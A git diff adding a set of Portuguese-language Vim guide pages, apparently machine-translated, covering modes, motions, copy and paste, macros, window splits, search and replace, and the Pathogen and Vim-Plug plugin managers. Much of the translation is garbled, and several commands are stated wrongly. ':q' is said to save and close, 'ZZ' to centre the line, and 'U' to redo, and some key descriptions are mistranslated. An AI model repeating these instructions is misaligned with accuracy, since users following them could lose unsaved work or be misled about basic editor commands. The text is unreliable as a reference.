+*   : q!
+
+### Exibir números de linha
+
+*   : definir nu
+
+### Não exibir números de linha
+
+*   : definir nonu
+
+### Adicionar cor de sintaxe com base na linguagem prog usada
+
+*   : sintaxe on
+
+## Sobre o Vim
+
+Vim é o editor de texto usado basicamente no modo CLI. Mas agora o editor também está disponível em várias versões. Há também GVIM que é a versão gráfica do VIM. vi foi o editor principal, em seguida, sua melhoria e nomeou VI melhorou Vim.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/copy-and-paste/index.md b/client/src/guide/portuguese/vim/copy-and-paste/index.md
new file mode 100644
index 0000000000..75db9078af
--- /dev/null
+++ b/client/src/guide/portuguese/vim/copy-and-paste/index.md
@@ -0,0 +1,41 @@
+---
+title: Copy and Paste
+localeTitle: Copiar e colar
+---
+# Copiando e colando no Vim
+
+No Vim, copiar é comumente chamado de 'yanking' e colar permanece o mesmo.
+
+### Teclas de Comando
+
+As chaves usadas para puxar e colar no Vim são:
+
+*   `x` para excluir um caractere
+*   `y` para arrancar
+*   `p` para colocar / colar depois do cursor
+*   `P` para colocar / colar antes do cursor
+*   `pp` para colocar / passar uma linha inteira
+*   `d` para cortar
+*   `dd` para cortar uma linha inteira
+*   `"` cortar ou puxar para um registrador
+
+### Copiando
+
+Para arrancar ou cortar, digite `y` ou `d` , seguido por um "objeto de texto". Estes descrevem quanto texto deve ser removido ou excluído. Por exemplo, `yw` copia uma palavra e `d$` apaga do cursor para o final da linha. Eles também podem ser usados ​​no modo visual, pressionando `v` e movendo o cursor e, em seguida, pressionando `d` exclui todo o texto dentro da seleção.
+
+### Registros
+
+Um registrador é apenas outro nome para a área de transferência. Mas ao contrário de outros editores de texto, o Vim tem muitas dessas "pranchetas".
+
+Para arrancar ou apagar para um registrador, digite `"<register name><command>` (por exemplo: `"ayw` para \[y\] ank \[w\] ord para registrar `a` ). Os nomes de registros podem ter apenas um caractere por motivos óbvios ( `"m` , `"M` , `"3` são permitidos, mas `"mr` , `"MyReg` , `"MyRegisterName` não são). O registrador padrão que é armazenado quando nenhum registro é especificado é `"` e a área de transferência do sistema que pode ser acessada em outros programas é `+` . Você também pode usar caracteres minúsculos para acessar registros e usar caracteres maiúsculos para anexar aos registros. Por exemplo `"dyy` copia a linha atual para o `d` registro, digitando `"D3yw` copia as próximas 3 palavras e as adiciona ao que já está armazenado em `d` .
+
+### Colando
+
+A colagem pode ser feita no modo normal ou no modo de inserção. No modo normal:
+
+*   `p` pastas após o cursor
+*   `P` pastas antes do cursor
+*   `gp` cola depois do cursor e move o cursor para o final da pasta
+*   `gP` cola antes do cursor e move o cursor para o final da pasta
+
+No modo de inserção, digite `Ctrl-r` para colar e, em seguida, digite um registro, normalmente `"` , isso irá colar a partir do registro onde o cursor está e mover o cursor para depois da pasta.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/index.md b/client/src/guide/portuguese/vim/index.md
new file mode 100644
index 0000000000..b377849d52
--- /dev/null
+++ b/client/src/guide/portuguese/vim/index.md
@@ -0,0 +1,30 @@
+---
+title: Vim
+localeTitle: Vim
+---
+# Vim
+
+[![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Vimlogo.svg/75px-Vimlogo.svg.png "Logotipo Vim")](https://vim.sourceforge.io)
+
+O Vim (Vi IMproved) é um editor de texto altamente configurável, criado para tornar a criação e alteração de qualquer tipo de texto muito eficiente. Está incluído como "vi" na maioria dos sistemas UNIX, que também inclui o macOS da Apple. O Vim é uma grande melhoria em relação ao seu predecessor _vi_ , que foi desenvolvido há mais de 40 anos e ainda está sendo usado.
+
+O Vim é estável ao rock e possui muitos recursos, incluindo:
+
+*   Árvore de desfazer persistente e de vários níveis
+*   sistema de plugins extensivo
+*   suporte para centenas de linguagens de programação e formatos de arquivo
+*   busca poderosa e substituir
+*   integra-se com muitas ferramentas
+*   Suporte de macro integrado para manipulação de texto de automação
+*   utilizável em sistemas que não têm suporte para editores de texto baseados em GUI
+
+Uma das principais diferenças que o Vim (e seu antecessor, _vi_ ) tem sobre outros editores, como o _nano_ , é que ele é um _editor modal_ , o que significa que ele possui vários modos de operação. Por exemplo, o editor inicia no _Modo de Navegação_ , o que permite que você se mova rapidamente pelo documento (ou, com mais precisão, com _extrema rapidez_ ). Neste modo, você pode inserir comandos para interagir com o seu documento, como usar `:i` para entrar no `insert mode` `:q` para sair, `/<text>` para pesquisar texto, entre outros.
+
+A parte modal do Vim é o que o torna realmente poderoso. Para um tutorial interativo, visite o [OpemVim](http://www.openvim.com/) . Aqui você pode experimentar vários dos seus recursos mais poderosos.
+
+## Mais Informações
+
+Para mais informações, [acesse a página inicial do Vim.](https://vim.sourceforge.io)
+
+*   [Open Vim](http://www.openvim.com/) é um tutorial on-line e interativo do Vim que você pode fazer no seu navegador
+*   [Vim Adventures](https://vim-adventures.com) é um jogo online baseado nos atalhos de teclado do VIM. É o jogo "Zelda meets text editing".
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/macros/index.md b/client/src/guide/portuguese/vim/macros/index.md
new file mode 100644
index 0000000000..e8c335396d
--- /dev/null
+++ b/client/src/guide/portuguese/vim/macros/index.md
@@ -0,0 +1,37 @@
+---
+title: Macros
+localeTitle: Macros
+---
+## Macros
+
+A gravação de macros é uma maneira de fazer algumas tarefas repetitivas automaticamente no VIM.
+
+### Macros de Gravação
+
+As macros usam um dos registradores VIM para serem armazenados, cada registro é identificado por uma letra de `a` a `z` .
+
+Para iniciar uma macro, no modo normal, pressione:
+
+```vim
+q<REGISTER LETTER> 
+```
+
+Exemplo: `qq` inicia uma macro no registrador `q` , `qs` inicia a macro no registrador `s`
+
+Neste ponto, você verá na `recording @q` linha de fundo do VIM `recording @q` , isso significa que tudo que você digitar agora será registrado na macro.
+
+Para interromper o registro da macro, pressione `<ESC>` para voltar ao modo NORMAL e `q` para sair da macro.
+
+Para executar a macro que você registrou, pressione `@` e o registrador `q` .
+
+#### O processo completo é assim:
+
+*   `qq` -> start registra a macro no registrador `q`
+*   `...` -> a série de comandos que você quer gravar
+*   `<ESC>q` -> voltar ao modo NORMAL e sair do registro macro
+*   `@q` -> executa a macro, começando da linha atual
+*   `@@` -> execute a macro novamente
+
+### Mais informações
+
+Você pode encontrar mais informações sobre macros no Wiki de Dicas do VIM: http://vim.wikia.com/wiki/Macros
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/modes/index.md b/client/src/guide/portuguese/vim/modes/index.md
new file mode 100644
index 0000000000..549de15f75
--- /dev/null
+++ b/client/src/guide/portuguese/vim/modes/index.md
@@ -0,0 +1,110 @@
+---
+title: Modes in Vim
+localeTitle: Modos no Vim
+---
+# Modos Vim
+
+Porque o Vim está focado em mudar o código existente tanto quanto escrever novos código, ele é dividido em vários modos, cada um com propósitos diferentes.
+
+### Modo normal
+
+Por padrão, o Vim inicia no modo "normal". O modo normal pode ser acessado de outros modos pressionando `Esc` ou `<C-[>` .
+
+No modo Normal, as teclas pressionadas não funcionam como seria de esperar. Ou seja, eles não inserem texto no documento; em vez de, certas teclas pressionadas podem:
+
+#### Mova o cursor
+
+*   **h** move um caractere para a esquerda
+*   **j** mover uma fileira para baixo
+*   **k** move uma fila para cima
+*   **Eu** movo um caractere para a direita
+
+Como muitos comandos vim, o movimento de linhas pode ser prefixado por um número para mover s linhas de cada vez:
+
+*   **4j** move 4 linhas para baixo
+*   **6k** move 6 linhas para cima
+
+Movimentos básicos de palavras:
+
+*   **w** move para o início da próxima palavra
+*   **b** passar para o início anterior da palavra
+*   **e** passar para o final da palavra
+*   **W** move para o início da próxima palavra depois de um espaço em branco
+*   **B** move-se para o início da palavra anterior antes de um espaço em branco
+*   **E** passar para o final da palavra antes de um espaço em branco
+
+Início / Fim do movimento da linha:
+
+*   **0** move para o começo da linha
+*   **$** move para o final da linha
+
+#### Manipular texto
+
+#### Entre em outros modos
+
+**O modo normal** é onde a pessoa deve passar a maior parte do tempo enquanto usa o Vim. Lembrar, é isso que faz o Vim diferente.
+
+No modo normal, existem várias maneiras de se movimentar em um arquivo aberto. além do que, além do mais para usar as teclas do cursor para se mover, você pode usar `h` (esquerda), `j` (abaixo), `k` (para cima) e `l` (direita) para mover também. Isso ajuda particularmente os datilógrafos que Não gosto de sair da fila inicial quando fizer alterações.
+
+Você também pode fazer alterações em caracteres únicos no modo normal. Por exemplo, para substitua um único caractere, mova o cursor sobre ele e pressione `r` , e depois o personagem que você deseja substituí-lo com. Da mesma forma, você pode excluir caracteres únicos movendo o cursor sobre ele e pressionando `x` .
+
+Para executar um desfazer, pressione `u` no modo normal. Isso desfaz muda até o último vez que você estava no modo normal. Se você quiser refazer ( _ou seja_ , desfazer o desfazer), pressione `Ctrl+r` no modo normal.
+
+### Inserir modo
+
+Este é o segundo modo mais usado, e será o comportamento mais familiar para a maioria das pessoas. Uma vez no modo de inserção, a digitação insere caracteres como um editor de texto. Você pode inseri-lo usando um comando de inserção no modo normal.
+
+Comandos Insert incluem:
+
+*   `i` for ' **i** nsert', isso imediatamente muda o vim para o modo de inserção
+*   `a` para ' **a** ppend', isso move o cursor após o caractere atual e entra no modo de inserção
+*   `o` insere uma nova linha abaixo da linha atual e entra no modo de inserção na nova linha
+
+Esses comandos também possuem uma variedade de maiúsculas:
+
+*   `I` move o cursor para o início da linha e entra no modo de inserção
+*   `A` move o cursor para o final da linha e entra no modo de inserção
+*   `O` insere uma nova linha acima da atual e entra no modo de inserção na nova linha
+
+Existem muitas outras maneiras de inserir texto no Vim que não podem ser listados aqui mas estes são os mais simples. Além disso, tenha cuidado ao ficar no modo de inserção por muito tempo; Vim é não projetado para ser usado no modo de inserção o tempo todo.
+
+Para sair do modo de inserção e retornar ao modo normal, pressione `Esc` ou `<C-[>`
+
+### Modo Visual
+
+O modo visual é usado para fazer seleções de texto, semelhante a como clicar e arrastar com um mouse se comporta. A seleção de texto permite que os comandos sejam aplicados apenas à seleção, como cópia, excluir, substituir e assim por diante.
+
+Para fazer uma seleção de texto:
+
+*   Pressione `v` para entrar no modo visual, isso também marcará um ponto de seleção inicial
+*   Mova o cursor para o ponto de seleção final desejado; vim irá fornecer um visual destaque da seleção de texto
+
+O modo visual também possui as seguintes variantes:
+
+*   `V` para entrar no modo de linha visual, isso fará com que as seleções de texto por linha
+*   `<CV>` para entrar no modo de bloco visual, isso fará seleções de texto por blocos; movendo o cursor fará seleções de retângulo do texto
+
+Para sair do modo visual e retornar ao modo normal, pressione `Esc` ou `<C-[>` .
+
+O modo visual na verdade tem vários subtipos: _visual_ , _bloco-visual_ e _linear-visual_
+
+*   _visual_ : como descrito acima. Enter pressionando `v`
+*   _block-visual_ : selecione qualquer região retangular. Entre pressionando `<ctrl>+v`
+*   _linewise-visual_ : sempre selecione linhas completas. Entre pressionando `<shift>+v`
+
+### Modo de Comando
+
+Modo de comando tem uma grande variedade de comandos e pode fazer coisas que o modo normal não pode fazer tão facilmente. Para entrar no modo de comando digite ':' no modo normal e depois digite seu comando, que deve aparecer na parte inferior da janela. Por exemplo, para fazer um achado global e substituir o tipo `:%s/foo/bar/g` para substituir tudo 'foo' com 'bar'
+
+*   `:` Entra no modo de comando
+*   `%` Significa em todas as linhas
+*   `s` significa substituto
+*   `/foo` é regex para encontrar coisas para substituir
+*   `/bar/` é regex para substituir coisas com
+*   `/g` significa global, caso contrário, só seria executado uma vez por linha
+
+O Vim tem vários outros métodos sobre os quais você pode ler na ajuda documentação `:h` ou `:help` .
+
+### Substituir modo
+
+O modo de substituição permite substituir o texto existente digitando diretamente sobre ele. Antes de entrar neste modo, entre no modo normal e coloque o cursor em cima do primeiro caractere que você deseja substituir. Em seguida, pressione 'R' (capital R) para entrar no modo de substituição. Agora, o que você digitar substituirá o texto existente. o cursor se move automaticamente para o próximo caractere, assim como no modo de inserção. o A única diferença é que cada caractere digitado substituirá o existente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/motions/index.md b/client/src/guide/portuguese/vim/motions/index.md
new file mode 100644
index 0000000000..b7cb208274
--- /dev/null
+++ b/client/src/guide/portuguese/vim/motions/index.md
@@ -0,0 +1,87 @@
+---
+title: Motions
+localeTitle: Movimentos
+---
+# Vim Basic Movimentos
+
+### Movimentos dos cursores
+
+Primeiro no VIM podemos usar as teclas de seta se quisermos mover o arquivo de texto, mas não é a melhor maneira de fazer isso, e perdemos a vantagem dos comandos de combinação que o VIM oferece.
+
+Em vez disso, o padrão e a melhor maneira de percorrer o texto é usando as teclas `h` (esquerda), `j` (abaixo), `k` (acima) e `l` (direita).
+```
+     ^ 
+     | 
+     k 
+ <- h   l -> 
+     j 
+     | 
+     v 
+```
+
+A vantagem de usar essas teclas em vez das teclas de seta é combinar movimentos com outros comandos, como:
+
+*   `d2j` -> delete 2 linhas abaixo
+*   `y10k` -> copie 10 linhas para cima
+*   `10l` -> move 10 caracters à direita
+*   `2h` -> mova 2 caracteres restantes
+
+### Movimentos de palavras
+
+Uma palavra consiste em uma seqüência de letras, dígitos e sublinhados ou seqüência de outros caracteres não-brancos, separados por espaços em branco (espaços, guias, fim de linha). Uma linha vazia também é considerada uma palavra.
+
+É possível mover palavras com este comunicado:
+
+*   `w` -> move para a próxima palavra
+*   `W` -> move para a próxima **PALAVRA** \*
+*   `e` -> mova para o final da próxima palavra
+*   `E` -> passar para o final da próxima **PALAVRA**
+*   `b` -> mover para a palavra anterior
+*   `B` -> passar para o **WORD** anterior
+*   `ge` -> move para o final da palavra anterior
+*   `gE` -> passar para o final da **PALAVRA** anterior
+
+\* Um **WORD** consiste em uma seqüência de caracteres não-brancos, separados por branco espaço. Uma linha vazia também é considerada uma **PALAVRA** , ou seja: `quux(foo,` `bar,` `foo);`
+
+Com esses movimentos combinados com outros comandos, você pode fazer coisas como:
+
+*   `dw` -> delete a palavra
+*   `5e` -> passar para o final da quinta palavra daqui
+
+### Movimentos de pesquisa
+
+Outra maneira de se mover pela posição que você gosta, é usar os movimentos de busca, os movimentos de busca consistem no movimento + um caractere para pesquisar
+
+*   `fx` -> move para o próximo `x`
+*   `tx` -> move para a primeira posição antes do próximo `x`
+*   `;` -> próximo x
+*   `Fx` -> mover para o `x` anterior
+*   `Tx` -> move para a primeira posição após o `x` anterior
+*   `,` -> x anterior
+
+### Início e Fim das Linhas
+
+Você também pode mover para o início ou fim da linha com o VIM, com estes comandos:
+
+*   `0` -> Início da linha
+*   `^` -> Primeiro caractere não-preto da linha
+*   `$` -> Fim da linha
+
+### Movimentos de arquivo
+
+No VIM você pode se mover através do arquivo usando estes comandos:
+
+*   `gg` -> move para a primeira linha do arquivo
+*   `G` -> mover para a última linha do arquivo
+*   `<ctrl> + f` -> move uma página para baixo
+*   `<ctrl> + b` -> move uma página para cima
+*   `/text` -> encontrar `text`
+*   `n` -> move para a próxima ocorrência do `text` (comando anterior)
+*   `?text` -> encontrar `text` anterior
+*   `N` -> passar para a ocorrência anterior de `text`
+*   `{` -> mover um parágrafo para cima
+*   `}` -> mover um parágrafo para baixo
+*   `(` -> mover uma frase para cima
+*   `)` -> mova um sentece para baixo
+*   `#` -> palavra achado sob cursor para cima
+*   `*` -> encontrar a palavra sob o cursor para baixo
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/navigation/index.md b/client/src/guide/portuguese/vim/navigation/index.md
new file mode 100644
index 0000000000..874c0f561b
--- /dev/null
+++ b/client/src/guide/portuguese/vim/navigation/index.md
@@ -0,0 +1,44 @@
+---
+title: Navigation
+localeTitle: Navegação
+---
+## Navegação Vim
+
+### Movimento básico
+
+Há muitas maneiras de mover o cursor no Vim, mas esses movimentos básicos permitirão novos usuários se sintam confortáveis ​​usando o modo normal para navegação de arquivos.
+
+*   No modo normal, as teclas `h` , `j` , `k` , `l` correspondem ao movimento do cursor um caractere para a esquerda, para baixo, para cima e para a direita, respectivamente.
+    
+*   Para navegar uma palavra por vez, as teclas `w` e `b` moverão o cursor para o início da próxima palavra ou o início da palavra anterior. `e` A tecla moverá o cursor até o final da palavra atual.
+    
+*   Para ir para o início da linha atual, digite `0` e vá para o final da linha atual, digite `$` .
+    
+*   Finalmente, para ir para a primeira linha do arquivo, digite `gg` e mova para o última linha no arquivo, digite `G`
+    
+
+Em suma:
+
+```vim
+h   moves one character left 
+ j   moves one row down 
+ k   moves one row up 
+ l   moves one character right 
+ 
+ w   moves to the beginning of the next word 
+ b   moves to the beginning of the previous word 
+ e   moves to the end of the current word 
+ 
+ 0   moves to the beginning of the current line 
+ $   moves to the end of the current line 
+ :n  moves to line n (ex. :23 moves to line 23) can also use nG 
+ 
+ ZZ  moves to the center of the line your on 
+ H   moves to the top of the screen 
+ M   moves to the middle of the screen 
+ L   moves to the bottom of the screen 
+ 
+ gg  moves to the first line in the file 
+ G   moves to the last line in the file 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/pathogen/index.md b/client/src/guide/portuguese/vim/pathogen/index.md
new file mode 100644
index 0000000000..1fc3658bc7
--- /dev/null
+++ b/client/src/guide/portuguese/vim/pathogen/index.md
@@ -0,0 +1,47 @@
+---
+title: Pathogen
+localeTitle: Patógeno
+---
+## Patógeno
+
+O Pathogen ajuda você a gerenciar seu caminho de execução com facilidade.
+
+Permite instalar facilmente o pacote para o Vim.
+
+Execute os seguintes comandos:
+```
+mkdir -p ~/.vim/autoload ~/.vim/bundle && \ 
+ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim 
+```
+
+* * *
+
+## Manipulação de Caminho de Tempo de Execução
+
+Adicione este comando ao seu arquivo .vimrc:
+```
+execute pathogen#infect() 
+```
+
+Se você não tem nenhum arquivo .vimrc, digite `vim ~/.vimrc` e cole isto:
+```
+execute pathogen#infect() 
+ syntax on 
+ filetype plugin indent on 
+```
+
+Este é um exemplo muito básico. Neste momento, todos os plugins serão extraídos para `~/.vim/bundle` e serão adicionados ao _`runtimepath`_ do _`runtimepath`_
+
+* * *
+
+#### | Exemplo
+
+Se você deseja instalar um plug-in como o NERDTree, simplesmente execute isto:
+```
+cd ~/.vim/bundle 
+ git clone https://github.com/scrooloose/nerdtree 
+```
+
+Ele será adicionado ao `runtimepath` .
+
+Curadoria do recurso de plugins do Vim: [Vim Awesome](https://vimawesome.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/search-and-replace/index.md b/client/src/guide/portuguese/vim/search-and-replace/index.md
new file mode 100644
index 0000000000..b77f157cd7
--- /dev/null
+++ b/client/src/guide/portuguese/vim/search-and-replace/index.md
@@ -0,0 +1,38 @@
+---
+title: Search and Replace
+localeTitle: Pesquisar e substituir
+---
+# Pesquisando e substituindo no Vim
+
+Pesquisar e substituir no vim pesquisarão todas as instâncias de um determinado padrão de texto e substituirão por uma string.
+
+### Teclas de Comando
+
+Os comandos usados ​​para pesquisa e substituição:
+
+*   `:substitute`
+*   `:s` (abreviada forma abreviada de substituto)
+
+### Estrutura de Comando
+
+A estrutura usada para pesquisa e substituição:
+
+`:[range]` `s` / `[pattern]` / `[string]` / `[flags]` `[count]`
+
+Onde…
+
+*   `[range]` indica as linhas a pesquisar (por exemplo, `1` : primeira linha, `$` : última linha, `%` : todas as linhas).
+*   `[pattern]` é o padrão de texto a ser pesquisado.
+*   `[string]` é a string que substituirá o padrão de texto.
+*   `[flags]` ativa opções adicionais de pesquisa e substituição (por exemplo, `c` : confirmar substituição, `g` : substituir todas as ocorrências em cada linha, `i` : ignorar maiúsculas e minúsculas).
+*   `[count]` substitui em `[count]` linhas começando da última linha em `[range]` (ou linha atual se `[range]` omitido).
+
+### Exemplos comuns
+
+Alguns exemplos comuns de pesquisa e substituição estão listados abaixo:
+
+*   `:s/foo/bar/` Altera o primeiro 'foo' para 'bar' na linha atual.
+*   `:s/foo/bar/g` Muda cada 'foo' para 'bar' na linha atual.
+*   `:%s/foo/bar/g` Muda cada 'foo' para 'bar' em todas as linhas.
+*   `:13s/foo/bar/g` Mude cada 'foo' para 'bar' na linha 13.
+*   `:%s/foo/bar/cgi` Altere todos os 'foo' para 'bar' em todas as linhas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/split/index.md b/client/src/guide/portuguese/vim/split/index.md
new file mode 100644
index 0000000000..d9a528b39f
--- /dev/null
+++ b/client/src/guide/portuguese/vim/split/index.md
@@ -0,0 +1,37 @@
+---
+title: Split
+localeTitle: Dividido
+---
+# Abrindo arquivos no Vim com o Split
+
+No Vim, os arquivos podem ser abertos ou `split` horizontalmente e verticalmente para criar uma janela ou viewport adicional para um determinado arquivo.
+
+### Teclas de Comando
+
+Os comandos para criar uma divisão horizontal:
+
+: `[N]split` `[file]`
+
+: `[N]sp` `[file]`
+
+onde `sp` é a abreviatura curta para `split` .
+
+Os comandos para criar uma divisão vertical:
+
+: `[N]vsplit` `[file]`
+
+: `[N]vs` `[file]`
+
+onde `vs` é a abreviatura curta para `vsplit` e…
+
+*   `[N]` é a altura (o padrão é metade da janela atual).
+*   `[file]` é o arquivo a ser aberto na nova janela dividida (arquivo atual usado se nenhum for dado).
+
+### Exemplos
+
+Alguns exemplos de uso da divisão no Vim:
+
+*   : `sp` Dividir a janela atual em janelas horizontais iguais para o arquivo atual.
+*   : `10sp` Dividir a janela atual criando uma nova janela com altura 10 para o arquivo atual.
+*   : `sp` `index.html` Divida a janela atual em janelas horizontais iguais e abra `index.html` na nova janela.
+*   : `vs` `main.css` Divide a janela atual em janelas verticais iguais e abre `main.css` na nova janela.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/useful-commands/index.md b/client/src/guide/portuguese/vim/useful-commands/index.md
new file mode 100644
index 0000000000..a83e95b7b8
--- /dev/null
+++ b/client/src/guide/portuguese/vim/useful-commands/index.md
@@ -0,0 +1,148 @@
+---
+title: Useful Commands
+localeTitle: Comandos Úteis
+---
+# Comandos Úteis
+
+## Funcionalidade básica
+
+O mais provável é que você se encontre no modo "normal", pois permite inserir comandos pressionando a tecla de dois `:` pontos `:` Para chegar aqui de outros modos, você pode digitar `ctrl + c` ou `escape` .
+
+Para editar texto e se movimentar de uma maneira familiar, pressione `i` , para o modo "inserir". Tente se movimentar com as setas do teclado no modo "inserir" - veja a seção "Navegação" abaixo para detalhes.
+
+Dependendo da configuração, você pode inserir um navegador de arquivos digitando e digitando o comando `:e .` no modo "normal". O 'e' significa edit e o período para o arquivo ou diretório.
+
+## Navegação
+
+*   Movimento do cursor: você pode usar as teclas de seta ou `h` , `j` , `k` , `l` (esquerda, baixo, cima, direita)
+*   `gg` leva você para o início do arquivo
+*   `G` leva você ao final do arquivo
+*   `:(num)` leva você a uma linha específica no seu arquivo (ex: 42 leva você para a linha 42)
+
+## Salvando
+
+1.  Pressione `Escape` para se certificar de que você está no `normal mode` ;
+2.  Digite `:w` ("w" significa "escrever");
+3.  Pressione `Enter` .
+
+## Salvando (para um novo arquivo)
+
+1.  Pressione `Escape` para se certificar de que você está no `normal mode` .
+2.  Digite `:w newfilename` (newfilename é o nome do novo arquivo que você deseja salvar).
+3.  Pressione `Enter` .
+
+## Saindo, Vi, Vim, Nvim, Gvim
+
+1.  Pressione escape para entrar no modo "normal"
+2.  `:q` vai soft sair vim
+3.  `:q!` vai forçar a sair do vim
+4.  `:qa` isso vai fechar todos os arquivos abertos
+5.  `:qa!` fecha todos os arquivos enquanto abandona as alterações
+6.  `:q` salva e fecha o arquivo atual
+
+(NOTA: O comando `:q!` Forçará o Vim a sair sem salvar. Certifique-se de salvar primeiro digitando o comando `:w` se não quiser perder nenhuma alteração que você tenha feito.)
+
+**OU**
+
+*   Digite ZZ (salvar e sair)
+*   Digite `:wq` / `:x` (salve e saia, mas use com os comandos "w" e "q" comumente usados)
+
+## Cortar, Copiar e Colar
+
+*   `dd` exclui (corta) uma única linha
+*   `yy` yanks (cópias) uma única linha
+*   você pode usar `yy` e `dd` precedidos por um número para cortar ou copiar múltiplas linhas (ex- `13dd` irá cortar 13 linhas)
+*   `p` cola tudo de buffer de pasta
+
+## Colando blocos de código
+
+Muitas vezes você vai encontrar-se à procura de soluções para problemas, e encontrar alguém escreveu um bloco de código que faz exatamente o que você quer. Se você tentar copiar e colar o código diretamente no Vim, poderá descobrir que o código está formatado de maneira estranha ou não foi colado corretamente. Isso se deve ao fato de que o Vim lê cada caractere que você colar um após o outro, ou seja, qualquer combinação de teclas que ativa um atalho Vim será executada e o Vim tentará (e falhar) recuar automaticamente o código colado.
+
+Para superar isso, você pode usar o **modo Colar** do Vim, que pode ser ativado entrando no modo normal (pressione `escape` ou `crtl + c` ) e digite `:set paste` , depois pressione ENTER. Você está agora no modo de _colar_ . Você pode entrar no modo de inserção com `i` e colar o bloco de texto / código sem problemas! Para retornar ao Vim regular sem o modo colar, você pode entrar no modo normal ( `escape` ou `crtl + c` ) e digitar `:set nopaste` , e pressionar ENTER.
+
+## Configurando números de linha
+
+1.  Pressione escape para entrar no modo "normal"
+2.  Digite `:set number` , pressione enter
+
+Para definir números de linha por padrão:
+
+1.  Abra / crie o arquivo de configuração do vim com o `vim ~/.vimrc`
+2.  Adicione o `set number` linhas, pressione enter
+
+## Abrindo um arquivo dentro do VIM
+
+No VIM você pode abrir um arquivo dentro da mesma janela, colocando o cursor em um caminho e digitando `gf` . Isso dirá ao VIM que o texto atual que o cursor reside é um arquivo que você deseja abrir. O arquivo será aberto dentro do terminal VIM, portanto, se você quiser retornar à janela anterior, basta digitar `ctrl+o` . Isto irá dizer ao VIM para ir para a tela anterior.
+
+## Como dividir janelas
+
+Você pode dividir as janelas do vim e editar 2 ou mais arquivos ao mesmo tempo.
+
+*   `:split` -> dividir janela (horizontal)
+*   `:vsplit` -> dividir janela (vertical)
+*   `:vertical` novo -> abrir um novo arquivo em uma nova janela
+
+Para se deslocar entre as janelas, você pode usar os seguintes comandos:
+
+*   `CTRL-W h` - move para a janela à esquerda
+*   `CTRL-W j` - move para a janela abaixo
+*   `CTRL-W k` - mova para a janela acima
+*   `CTRL-W l` - move para a janela à direita
+*   `CTRL-W t` - move para a janela superior
+*   `CTRL-W b` - move para a janela inferior
+
+## Desfazer refazer
+
+Essas ações devem ser executadas no **modo normal** .
+
+**Desfazer** : pressione `u` ou digite `:undo` e pressione `Enter` .
+
+**Refazer** : Pressione `U` ( `Shift` + `u` ) ou digite `:redo` e pressione `Enter` .
+
+## Abrindo um arquivo em uma linha específica
+
+*   vi nome do arquivo + n, onde n é o número da linha
+
+## Abrindo um arquivo pesquisando por palavra / termo
+
+*   vi filename + / word, onde word é o que você está procurando. O cursor será posicionado na primeira ocorrência da palavra.
+
+## Procurando um arquivo no Vim
+
+Quando estiver no modo normal (pressione a tecla de `escape` para certificar-se), você pode pesquisar qualquer termo no documento digitando `/` , seguido pelo termo que está procurando e pressionando `enter` . Por exemplo, digite `/hello` e pressione `enter` para procurar a palavra "hello" no arquivo atual.
+
+Você pode pular para a próxima ocorrência do seu termo de pesquisa pressionando `n` ou a ocorrência anterior pressionando `N` `*` procura a palavra abaixo do cursor.
+
+Se você quiser destacar todas as correspondências de pesquisa, digite `:set hlsearch` ou use o comando abreviado `:set hls` . Uso `:set noh` para desativar o destaque até a próxima pesquisa.
+
+## Compilando um projeto
+
+O Vim tem uma integração muito estreita com a ferramenta de automação `make` build. Se o seu projeto usa um Makefile, você pode digitar `:make` na linha de comando do Vim para executar a ferramenta `make` do seu sistema. O Vim imprimirá a saída de `make` na tela e levará você ao primeiro erro, se houver, quando o comando `make` concluído. Você pode então percorrer os erros de compilação e avisos no código do seu projeto usando os comandos `:cn` e `:cp` , para os problemas seguinte e anterior, respectivamente.
+
+## Encontrar e substituir
+
+1.  Pressione `Escape` para garantir que você esteja no `normal mode` ;
+2.  Digite `:` (você irá mudar para o `command mode` );
+3.  Digite `%s,word_to_be_replaced,new_word,g` ;
+4.  Pressione `ENTER` .
+
+Importante: se você quiser substituir a primeira ocorrência da palavra, remova o `g` no final.
+
+## Eu quero aprender Vim!
+
+Para iniciantes, o Vim vem com um tutorial integrado! Você pode acessá-lo executando o `vimtutor` partir do seu terminal e isso iniciará um tutorial interativo sobre _como iniciar o Vim_ (leva cerca de 15 minutos para trabalhar).
+
+Se você não está tão confiante em inglês, você pode usar o `vimtutor` em seu idioma preferido. Por exemplo, `vimtutor fr` irá lançar o tutorial em francês!
+
+## Outros comandos úteis
+
+*   `gg=G` corrige o recuo do arquivo inteiro
+*   Se você quiser aprender mais sobre um comando específico, digite `:help` seguido do nome do comando (ex: help: w)
+
+Leia o resto de nossos Guias Vim para entender melhor esse poderoso editor.
+
+## Outros recursos
+
+*   [Vim Golf](https://vimgolf.com/) - Uma boa maneira de aprender fazendo os desafios do vim para obter a menor quantidade de toques de tecla. Você pode ver as soluções enviadas por outras pessoas se não conseguir descobrir o desafio.
+*   [Vim Adventures](https://vim-adventures.com/) - Uma abordagem divertida e gamificada para aprender Vim onde você lern os diferentes golpes de tecla com cada novo nível no jogo.
+*   [Open Vim](http://www.openvim.com/) - Um tutorial vim interativo que ensina comandos básicos
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/vim-plug/index.md b/client/src/guide/portuguese/vim/vim-plug/index.md
new file mode 100644
index 0000000000..7e7d52fd4d
--- /dev/null
+++ b/client/src/guide/portuguese/vim/vim-plug/index.md
@@ -0,0 +1,36 @@
+---
+title: Vim-Plug
+localeTitle: Vim-Plug
+---
+## Vim-Plug
+
+Gerenciador de plug-in Vim-Plug minimalista Vim.
+
+### Prós:
+
+*   Mais fácil de configurar: arquivo único. Não requer código clichê.
+*   Mais fácil de usar: sintaxe concisa e intuitiva.
+*   Instalação / atualização paralela super rápida (com qualquer um dos `+job` , `+python` , `+python3` , `+ruby` ou Neovim).
+*   Cria clones superficiais para minimizar o uso de espaço em disco e o tempo de download.
+*   Carregamento sob demanda para um tempo de inicialização mais rápido.
+*   Pode revisar e reverter atualizações.
